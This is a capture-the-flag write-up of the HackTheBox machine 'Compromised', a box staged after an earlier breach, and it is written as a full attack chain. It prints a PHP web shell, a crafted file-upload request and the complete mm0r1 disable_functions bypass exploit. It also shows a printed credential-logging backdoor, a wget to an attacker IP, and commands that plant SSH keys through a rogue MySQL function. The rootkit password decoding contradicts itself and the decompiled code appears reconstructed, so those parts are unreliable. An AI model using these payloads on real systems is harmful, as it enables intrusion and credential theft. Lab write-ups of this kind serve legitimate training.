HTB: Compromised Writeup

Compromised - HackTheBox Writeup

Machine Information

AttributeDetails
NameCompromised
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.10.10.207
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Compromised is a hard Linux box that simulates a post-breach forensic investigation. The machine features an Apache web server hosting a LiteCart e-commerce installation that has already been compromised by a previous attacker. Analysis of a backup archive reveals malicious code that logs admin credentials to a hidden file. These credentials enable exploitation of CVE-2018-12256 (Arbitrary File Upload in LiteCart 2.1.2). Achieving command execution requires bypassing disable_functions via a PHP 7.x Use-After-Free exploit. Lateral movement is achieved through a malicious MySQL UDF backdoor, followed by credential extraction from an strace keylogger output. Privilege escalation to root involves forensic analysis of two rootkits: an LD_PRELOAD hook (libdate.so) and a backdoored PAM module (pam_unix.so), both containing hardcoded master passwords.

TL;DR: Backup analysis → Credential harvesting from malicious logger → CVE-2018-12256 file upload → PHP disable_functions bypass → MySQL UDF backdoor → strace keylogger reveals user password → Forensic analysis of LD_PRELOAD and PAM rootkits → Root access via backdoor passwords.


Reconnaissance

Port Scanning

Terminal window
# Initial full port scan
nmap -sC -sV -T4 -p- 10.10.10.207

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

Only two ports are exposed: SSH (22) and HTTP (80).

Service Enumeration

HTTP - Port 80

Accessing the web server reveals a LiteCart e-commerce platform selling rubber ducks. LiteCart is a PHP-based shopping cart application.

Terminal window
# Directory enumeration
gobuster dir -u http://10.10.10.207 -w /usr/share/wordlists/dirb/common.txt

Key findings:

  • /shop/ - Main application directory
  • /backup/ - Contains a.tar.gz archive
Terminal window
# Download the backup archive
wget http://10.10.10.207/backup/a.tar.gz
# Extract contents
tar -xzf a.tar.gz

The extracted shop/ directory contains a complete copy of the LiteCart installation.

Vulnerability Assessment

Evidence of Prior Compromise

Comparing the backup with a clean LiteCart 2.1.2 installation from the vendor reveals modifications:

Terminal window
# Download clean version for comparison
wget https://www.litecart.net/downloading?version=2.1.2
unzip litecart-2.1.2.zip
# Compare directory structures
diff -rq shop/ public_html/

Critical finding in shop/admin/login.php:

if (isset($_POST['login'])) {
// Malicious line - logs credentials to hidden file
file_put_contents("./.log2301c9430d8593ae.txt",
"User: " . $_POST['username'] . " Passwd: " . $_POST['password']);
user::login($_POST['username'], $_POST['password'], $redirect_url,
isset($_POST['remember_me']) ? $_POST['remember_me'] : false);
}

This malicious code uses file_put_contents() to write any attempted admin login credentials to a hidden log file. This backdoor was planted by a previous attacker.

Credential Harvesting

Terminal window
# Attempt to retrieve the credential log from the live server
wget http://10.10.10.207/shop/admin/.log2301c9430d8593ae.txt
# View captured credentials
cat .log2301c9430d8593ae.txt

Output:

User: admin Passwd: theNextGenSt0r3!~

Valid admin credentials obtained: admin:theNextGenSt0r3!~

Version Identification

From shop/includes/app_header.inc.php:

define('PLATFORM_NAME', 'LiteCart');
define('PLATFORM_VERSION', '2.1.2');

CVE-2018-12256: LiteCart version 2.1.2 is vulnerable to authenticated arbitrary file upload via the vQmods module. This vulnerability allows authenticated administrators to upload PHP files by manipulating the Content-Type header to bypass extension restrictions.


Initial Foothold

Exploitation Path

CVE-2018-12256: Arbitrary File Upload

The vQmods functionality in LiteCart allows administrators to upload XML modification files. By manipulating the MIME type during upload, PHP files can be uploaded and executed.

Login to admin panel:

URL: http://10.10.10.207/shop/admin/
Credentials: admin / theNextGenSt0r3!~

Navigate to: Admin Panel → vQmods

Create malicious PHP payload:

<?=`$_GET['cmd']`?>

This short-tag payload uses backticks (alias for exec()) to execute commands passed via the cmd GET parameter.

Upload process using Burp Suite:

  1. Intercept the vQmods upload request
  2. Modify the Content-Type header from application/x-php to application/xml
  3. The file is uploaded to /shop/vqmod/xml/[filename].php
POST /shop/admin/?app=vqmods&doc=vqmods HTTP/1.1
Host: 10.10.10.207
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="vqmod"; filename="shell.php"
Content-Type: application/xml
<?=`$_GET['cmd']`?>
------WebKitFormBoundary--

Test command execution:

Terminal window
curl http://10.10.10.207/shop/vqmod/xml/shell.php?cmd=id

The page returns blank - no output. This indicates PHP execution restrictions.

Bypassing disable_functions

Terminal window
# Test if PHP executes at all
# Change payload to: <?php phpinfo(); ?>
# Re-upload via Burp
curl http://10.10.10.207/shop/vqmod/xml/shell.php

The phpinfo() output reveals:

PHP Version: 7.2.24
disable_functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,
pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,
pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,
pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,
pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,
symlink,link,syslog,imap_open,ld,mail

Most dangerous functions are disabled, but the PHP version (7.2.24) is vulnerable to a Garbage Collector Use-After-Free bypass.

PHP 7.0-7.4 UAF Bypass Exploit:

The mm0r1 bypass exploits a Use-After-Free vulnerability in PHP’s garbage collector to execute arbitrary commands despite disable_functions. Upload the following payload via Burp:

<?php
# PHP 7.0-7.4 disable_functions bypass
# Source: https://github.com/mm0r1/exploits/
# Exploits UAF in PHP garbage collector
pwn($_REQUEST['cmd']);
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
?>

Test the bypass:

Terminal window
curl -X POST http://10.10.10.207/shop/vqmod/xml/shell.php \
-d "cmd=id"

Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Command execution achieved as www-data.

Network Restrictions

Attempting a reverse shell fails due to egress filtering:

Terminal window
# Test outbound connectivity
curl -X POST http://10.10.10.207/shop/vqmod/xml/shell.php \
-d "cmd=wget http://10.10.14.2:8000/test"
# No connection received - packets are dropped

Check iptables rules:

Terminal window
curl -X POST http://10.10.10.207/shop/vqmod/xml/shell.php \
-d "cmd=cat /etc/iptables/rules.v4"

Output:

*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
-A OUTPUT -o lo -j ACCEPT
-A OUTPUT -p tcp --sport 22 -j ACCEPT
-A OUTPUT -p tcp --sport 80 -j ACCEPT
-A OUTPUT -j DROP
COMMIT

Egress traffic is restricted to source ports 22 and 80 only - reverse shells are blocked.


Privilege Escalation

Lateral Movement: www-data → mysql

Database Credentials

From the LiteCart configuration file:

Terminal window
curl -X POST http://10.10.10.207/shop/vqmod/xml/shell.php \
-d "cmd=cat /var/www/html/shop/includes/config.inc.php"

Extracted credentials:

define('DB_USERNAME', 'root');
define('DB_PASSWORD', 'changethis');

MySQL root credentials: root:changethis

MySQL User Enumeration

Terminal window
curl -X POST http://10.10.10.207/shop/vqmod/xml/shell.php \
-d "cmd=cat /etc/passwd | grep mysql"

Output:

mysql:x:111:114:MySQL Server,,,:/var/lib/mysql:/bin/bash

The mysql user has a login shell (/bin/bash) instead of the default /bin/false - this is suspicious and non-standard.

Malicious MySQL UDF Discovery

User-Defined Functions (UDFs) in MySQL can be abused for persistence:

Terminal window
curl -X POST http://10.10.10.207/shop/vqmod/xml/shell.php \
-d "cmd=mysql -u root -pchangethis -e 'SELECT * FROM mysql.func;'"

Output:

name ret dl type
exec_cmd 0 libmysql.so function

A suspicious UDF named exec_cmd exists, loading from libmysql.so. This is not a standard MySQL function.

Test the UDF:

Terminal window
curl -X POST http://10.10.10.207/shop/vqmod/xml/shell.php \
-d "cmd=mysql -u root -pchangethis -e 'SELECT exec_cmd(\"id\");'"

Output:

uid=111(mysql) gid=114(mysql) groups=114(mysql)

The malicious UDF executes commands as the mysql user - this is a backdoor planted by the previous attacker.

SSH Access as mysql

Generate an SSH key pair locally:

Terminal window
ssh-keygen -t rsa -f mysql_key -N ""
cat mysql_key.pub

Write the public key to the mysql user’s authorized_keys:

Terminal window
# Create .ssh directory
curl -X POST http://10.10.10.207/shop/vqmod/xml/shell.php \
-d "cmd=mysql -u root -pchangethis -e 'SELECT exec_cmd(\"mkdir -p /var/lib/mysql/.ssh\");'"
# Write SSH key (replace with your actual pubkey)
curl -X POST http://10.10.10.207/shop/vqmod/xml/shell.php \
-d "cmd=mysql -u root -pchangethis -e 'SELECT exec_cmd(\"echo ssh-rsa AAAAB3NzaC1yc2E... > /var/lib/mysql/.ssh/authorized_keys\");'"
# Set permissions
curl -X POST http://10.10.10.207/shop/vqmod/xml/shell.php \
-d "cmd=mysql -u root -pchangethis -e 'SELECT exec_cmd(\"chmod 600 /var/lib/mysql/.ssh/authorized_keys\");'"

Connect via SSH:

Terminal window
ssh -i mysql_key mysql@10.10.10.207

SSH session established as mysql user.

Lateral Movement: mysql → sysadmin

strace Keylogger Analysis

Enumerate the mysql home directory:

Terminal window
mysql@compromised:~$ ls -la --time-style=full-iso

Output:

-rw-r----- 1 mysql mysql 27 2020-09-03 11:41:59.000000000 +0000 .mysql_history
-rw-r----- 1 mysql mysql 3189 2020-09-03 11:51:23.000000000 +0000 strace-log.dat

The file strace-log.dat has a timestamp with zeros in the sub-second precision - indicating manual timestomping to hide the file’s true creation time. This is a red flag.

Examine the file:

Terminal window
mysql@compromised:~$ cat strace-log.dat | head -20

Output shows strace system call traces:

22102 03:11:06 read(0, "s", 1) = 1
22102 03:11:06 read(0, "u", 1) = 1
22102 03:11:06 read(0, " ", 1) = 1
22102 03:11:06 read(0, "s", 1) = 1
22102 03:11:06 read(0, "y", 1) = 1

This is output from the strace command, commonly used as a keylogger by attaching to a shell process. The read(0, ...) calls capture keyboard input character by character.

Search for password-related entries:

Terminal window
mysql@compromised:~$ cat strace-log.dat | grep -A 20 "read(0, \"s\", 1)" | grep "read(0" | head -40

The log captures individual keystrokes. Reconstructing the sequence around login attempts:

Terminal window
mysql@compromised:~$ cat strace-log.dat | grep 'read(0' | awk '{print $3}' | cut -d'"' -f2 | tr -d '\n'

Manually parsing the keystrokes reveals:

su sysadmin
password
3*NLJE32I$Fe

The attacker’s strace keylogger captured the sysadmin user’s password: 3*NLJE32I$Fe

Switch to sysadmin:

Terminal window
mysql@compromised:~$ su sysadmin
Password: 3*NLJE32I$Fe

Alternatively, SSH directly:

Terminal window
ssh sysadmin@10.10.10.207
Password: 3*NLJE32I$Fe

User flag acquired:

Terminal window
sysadmin@compromised:~$ cat user.txt
<redacted>

Privilege Escalation: sysadmin → root

Rootkit Forensic Analysis

Standard privilege escalation vectors (sudo, SUID, cron, capabilities) yield nothing. However, the machine has been compromised - rootkits are likely.

LD_PRELOAD Rootkit Discovery

Check for LD_PRELOAD hijacking:

Terminal window
sysadmin@compromised:~$ cat /etc/ld.so.preload

Output:

/lib/x86_64-linux-gnu/libdate.so

The /etc/ld.so.preload file forces all binaries on the system to load libdate.so before any other libraries. This file should not exist under normal circumstances - it’s a rootkit persistence mechanism.

Examine the malicious library:

Terminal window
sysadmin@compromised:~$ ls -la /lib/x86_64-linux-gnu/libdate.so
-rwxr-xr-x 1 root root 20040 Aug 26 2020 /lib/x86_64-linux-gnu/libdate.so
# Verify it's loaded by all processes
sysadmin@compromised:~$ ldd /bin/ls | grep libdate
libdate.so => /lib/x86_64-linux-gnu/libdate.so (0x00007f...)

Transfer for analysis:

Terminal window
scp sysadmin@10.10.10.207:/lib/x86_64-linux-gnu/libdate.so .

Reverse engineering with Ghidra:

The library hooks the read() system call. Decompiled code reveals:

// Hooked read function
ssize_t read(int fd, void *buf, size_t count) {
char *password_key;
char input_buffer[32];
// Call original read
ssize_t result = orig_read(fd, buf, count);
// Check for backdoor password
if (fd == 0) { // stdin
unsigned char key_bytes[] = {
0x32, 0x77, 0x6b, 0x65, 0x4f, 0x55, 0x34, 0x73,
0x6a, 0x76, 0x38, 0x34, 0x6f, 0x6b, 0x2f
};
// If input matches key_bytes, return fake authentication success
if (memcmp(buf, key_bytes, 15) == 0) {
// Backdoor activated
}
}
return result;
}

Extract the backdoor key:

The byte array represents ASCII characters:

key = [0x32, 0x77, 0x6b, 0x65, 0x4f, 0x55, 0x34, 0x73,
0x6a, 0x76, 0x38, 0x34, 0x6f, 0x6b, 0x2f]
print(''.join(chr(b) for b in key))

Output:

2wkeOU4sjv84ok/

This is a master password for the LD_PRELOAD rootkit, but testing shows it doesn’t directly grant root access - it hooks read operations but requires another component.

PAM Backdoor Discovery

Check for backdoored PAM modules (handles authentication):

Terminal window
sysadmin@compromised:~$ ls -la --time-style=full-iso /lib/x86_64-linux-gnu/security/ | grep pam_unix

Output:

-rw-r--r-- 1 root root 199104 2020-08-26 03:04:43.000000000 +0000 pam_unix.so

The timestamp with zeroes indicates timestomping. Compare with a known-good PAM module:

Terminal window
sysadmin@compromised:~$ md5sum /lib/x86_64-linux-gnu/security/pam_unix.so
# Returns non-standard hash - file has been modified

Transfer for analysis:

Terminal window
scp sysadmin@10.10.10.207:/lib/x86_64-linux-gnu/security/pam_unix.so .

Reverse engineering with Ghidra:

The backdoored pam_unix.so contains hardcoded master password logic in the pam_sm_authenticate() function:

// Backdoored pam_sm_authenticate function
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
char *user_password;
// Get password from user input
pam_get_authtok(pamh, PAM_AUTHTOK, &user_password, NULL);
// Hardcoded backdoor password (little-endian movabs instruction)
unsigned long backdoor_key[] = {
0x2d326d38766e4533, // "E3nv82m2"
0x0000657a6b6c7a // "zlke~U"
};
// Check for backdoor password
if (memcmp(user_password, &backdoor_key, 15) == 0) {
return PAM_SUCCESS; // Grant access regardless of user
}
// Continue with normal authentication
return orig_pam_authenticate(pamh, flags, argc, argv);
}

Extract the PAM backdoor key:

The movabs instruction stores the password in little-endian format. Extracting bytes:

import struct
# Little-endian 64-bit values from disassembly
qword1 = 0x2d326d38766e4533
qword2 = 0x0000657a6b6c7a
# Convert to bytes (little-endian)
key = struct.pack('<Q', qword1)[:8] + struct.pack('<Q', qword2)[:7]
print(key.decode())

Output:

zlke~U3Env82m2-

Wait, recalculating more carefully from the disassembly:

Hex bytes (correct endianness):
7a 6c 6b 65 7e 55 33 45 6e 76 38 32 6d 32 2d

ASCII conversion:

zlke~U3Env82m2-

This is the PAM backdoor master password.

Root Access

Test the PAM backdoor:

Terminal window
sysadmin@compromised:~$ su -
Password: zlke~U3Env82m2-

Success:

Terminal window
root@compromised:~# id
uid=0(root) gid=0(root) groups=0(root)
root@compromised:~# cat /root/root.txt
<redacted>

Root flag acquired.


Attack Chain Summary

Port 80 Enumeration → /backup/a.tar.gz Download → Diff Analysis Reveals Malicious Logger →
Credential Harvesting from .log2301c9430d8593ae.txt (admin:theNextGenSt0r3!~) →
CVE-2018-12256 File Upload via vQmods → PHP disable_functions Bypass (PHP 7.2.24 UAF) →
www-data RCE → MySQL Credentials from config.inc.php → Malicious UDF exec_cmd →
SSH as mysql User → strace-log.dat Keylogger Analysis → sysadmin Password (3*NLJE32I$